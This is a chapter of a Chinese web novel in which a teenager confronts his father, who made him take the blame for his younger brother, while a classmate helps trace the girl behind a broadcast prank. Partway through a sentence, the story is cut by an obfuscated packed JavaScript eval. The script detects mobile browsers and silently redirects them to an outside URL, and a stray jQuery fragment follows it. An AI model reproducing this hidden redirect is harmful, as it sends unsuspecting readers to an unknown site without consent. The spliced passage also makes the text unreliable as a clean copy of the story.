厂区广播一响，食堂门口那点热闹全僵住了。
周建国刚答应去学校说明，饭盒还攥在手里，脸上的青红都没褪干净。周念梅和周念秋也停了嘴，赵桂兰下意识去看周念安。
周念安却看向梁潮生。
他站在食堂门口，半边脸落在阳光里，半边脸被屋檐阴影压着。刚才还能贫两句的人，这会儿像被谁从身上抽走了那点散漫劲儿，眼神冷得发沉。
广播里孟小舟的声音继续往外传。
“今天上午七点零五分，文化宫后院。”
紧接着，磁带里换成了一段嘈杂的录音。
风声，脚步声，还有男人压着火气的声音。
“你弟才初二，真背了处分，以后怎么进厂？你皮厚，学校记你一次又怎么样？”
梁潮生的手指倏地收紧。
周念安听出来了。
那不是学校老师，也不是文化宫王师傅。
那是梁潮生父亲的声音。
周围人也听出来了，厂区里认识梁家的人不少。有人低声说：“这不是梁振山吗？”
广播里又传出一道女人的声音，带着哭腔：“振山，你别逼潮生，东西又不是他弄坏的。”
“你懂什么？”梁振山的声音更重，“潮平小，他不懂事。潮生从小让人说惯了，多这一回少这一回有什么差别？”
滋啦一声。
像有人把磁带剪断又接上。
下一句，是梁潮生自己的声音。
比平时低很多，也哑很多。
“行，我认。”
广播下的厂区安静了。
不是学校操场那种看热闹的安静，是许多人忽然想起自己家里也有类似一句话的安静。
大的让小的。
懂事的让不懂事的。
反正你皮实。
反正你能扛。
周念安看见梁潮生喉结动了一下。
他没说话，转身就往文化宫走。
李老师急忙喊：“梁潮生！”
梁潮生没回头。
周念安跟了两步，梁潮生忽然停下，侧过脸。
“你别来。”
他的声音很平。
周念安站住。
他又说：“这回跟你没关系。”
她看着他：“那刚才我的事，跟你有关系吗？”
梁潮生皱眉。
周念安没给他接话的机会，直接越过他往前走。
“你可以路过修收音机。”她说，“我也可以路过听广播。”
梁潮生气笑了。
可那笑只露了一点，又压回去了。
两人一前一后往文化宫走。周念梅在后头看了一眼，挽起袖子就要跟，被周念秋一把拉住。
“你干嘛？”
“去看看。”周念梅说，“那男孩刚才还帮咱家说话呢。”
周念秋瞥她：“你是去帮忙还是去把人家爸揍一顿？”
“看情况。”
赵桂兰一听，赶紧拽住大女儿：“别添乱！”
周念秋却已经踩着小皮鞋跟了上去，边走边说：“我去。我长得像添彩，不像添乱。”
周念梅骂了一句，也跟上了。
周念安听见身后的动静，头有点疼。
梁潮生看她一眼：“你家姐妹出门都这么声势浩大？”
“她们还没开始。”
“那我先替我家道歉。”
文化宫后院已经围了不少人。
厂里的王师傅站在门口，急得直拍门框：“谁又动广播了？孟小舟呢？小孟！”
楼上录音室窗户开着，窗帘还在风里晃。
梁潮生没上楼，直接拐进后院。
那里停着一辆旧三轮车，车斗里堆着两只破音箱。一个瘦高少年蹲在墙根，低着头，手指抠着地上的土。
是梁潮平。
他身边站着个中年男人，蓝工装，眉骨很重，嘴角下压，一看就是平时不怎么笑的人。
梁振山。
梁潮生走过去。
梁潮平抬头看见他，脸色一下白了。
“哥……”
梁潮生没看他，只看梁振山。
“爸。”他说，“广播里放的，是你说的话？”
梁振山脸上挂不住，先看了一圈围观的人，才压低声音：“你还嫌不够丢人？赶紧跟我回去。”
“是不是你说的？”
“是我说的又怎么样？”梁振山火气上来，“我说错了吗？潮平才多大？他要是真记过，以后档案怎么办？你呢？你还少挨骂了？”
梁潮生盯着他。
他平时笑起来眼尾弯，显得轻佻。可这会儿不笑了，眉眼反而有股少年人少见的锋利。
“所以我就活该？”
梁振山一愣。
梁潮平也抬起头。
梁潮生很少这么问话。
他以前不是没替弟弟背过锅。小时候梁潮平砸坏邻居玻璃，他认；初一梁潮平偷拿家里钱买画片，他认；上个月文化宫排练，梁潮平把话筒线踩断，他也修了。
梁家人好像默认了，梁潮生脸皮厚，老师骂两句没事，邻居说两句没事，父亲一巴掌拍下来也没事。
他自己也差点信了。
梁振山皱眉：“你跟我顶嘴？”
“我问你，我是不是就活该？”
这句话一落，后院风都像停了。
梁潮平忽然站起来，声音发颤：“不是我哥！音箱线是我弄坏的。”
梁振山回头吼他：“你闭嘴！”
梁潮平被吼得肩膀一缩，却没再蹲回去。
“本来就是我。”他眼圈红了，嘴还硬，“我就是想接录音机听歌，结果线一拔，音箱就响了。然后有人说给我两块钱，让我穿我哥衣服去高三一班坐一会儿。我不知道后面还有志愿表的事。”
梁潮生侧头看他。
梁潮平避开他的眼神，小声补了一句：“我也不是良心发现。我就是怕你被记过以后，妈又哭，家里又没饭吃。”
梁潮生：“……”
周念安原本胸口还堵着，听到这句，差点没绷住。
周念秋站在后头“噗”地笑出声：“这小孩嘴硬得还挺有层次。”
周念梅瞪她：“严肃点。”
“我很严肃。”周念秋说，“我在欣赏梁家传统。”
梁振山被人当场揭开，脸色难看得很。
“你们小孩子懂什么？我做这些不都是为了家？”
梁潮生笑了一下。
那笑比不笑还让人难受。
“今天这句话我听第二回了。”他说，“你们大人是不是就这一本词？”
周念安看了他一眼。
她知道他说的是谁。
周建国也说，为了这个家。
周振山也说，为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697647|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这个家。
好像“家”这个字一摆出来，谁都该自动低头，谁都该把自己的名字、志愿、处分、委屈往里塞。
李老师和教导主任终于赶到。
主任跑得气喘吁吁，一看梁家父子都在，又看见一地破音箱和围观群众，脸色简直精彩。
“都围着干什么？散开！”
没人散得很彻底，只是象征性往后退了两步。
主任指着梁潮平：“你刚才说，音箱线是你弄坏的？”
梁潮平咬牙：“是。”
“那让你去高三一班坐着的人是谁？”
梁潮平闭了下眼。
梁潮生没有替他说。
周念安也没有催。
过了好一会儿，梁潮平才说：“是孟小舟。她说只要我坐一会儿，别说话，别被人看清，就给我两块钱，还帮我瞒文化宫的事。”
主任的脸更黑了。
王师傅在旁边急得拍大腿：“我就说她今天不对劲！她人呢？”
梁潮生忽然往楼上看。
录音室窗边，那道窗帘又被风吹了一下。
他转身就往楼梯跑。
周念安跟上。
楼梯很窄，墙上贴着过期电影海报。梁潮生三步并作两步，推开录音室门时，里面已经空了。
桌上的录音机还在转，红灯亮着。
孟小舟不在。
窗台上放着一只铁皮盒，盒盖开着，里面少了一盘磁带。
梁潮生走过去，看见桌上留着一张纸。
字写得很好。
清秀，干净，像从前学校广播稿上的字。
纸上只有一句话：
“回声第四面，家书。”
周念安站在他身边，心口莫名一沉。
梁潮生拿起那张纸，指腹在“家书”两个字上停了一下。
他没说话。
可周念安看见，他脸上那点刚刚撑起来的镇定，又慢慢沉下去了。
她问：“家书是什么？”
梁潮生把纸折起来，塞进口袋。
“没什么。”
周念安看着他：“你又想一个人扛？”
梁潮生动作一顿。
他低头看她，眼底还有刚才没散干净的冷。
“周念安，这是我家的事。”
“我的志愿表也是我家的事。”她说，“你刚才也没少管。”
梁潮生被她堵得没话。
隔了一会儿，他忽然笑了下，声音低低的：“你这人记账挺清楚。”
“所以别欠。”
两人站在录音室里，楼下还乱着，主任在训人，周念梅和周念秋不知道又跟谁吵了起来，王师傅嚷嚷着要找孟小舟赔设备钱。
乱成一锅粥。
可这一刻，梁潮生忽然觉得，自己胸口那块被广播扯开的地方，没再继续往下漏风。
周念安把那盘还在空转的磁带按停。
咔哒一声。
屋里安静下来。
她说：“先回学校，把该说清的说清。”
梁潮生看着她：“然后呢？”
“然后找孟小舟。”周念安顿了顿，“还有第四面。”
梁潮生笑了。
这回终于有点像他平时的笑。
“行啊，周同学。”
他把那张纸又往口袋里按了按。
“那就麻烦你继续路过。”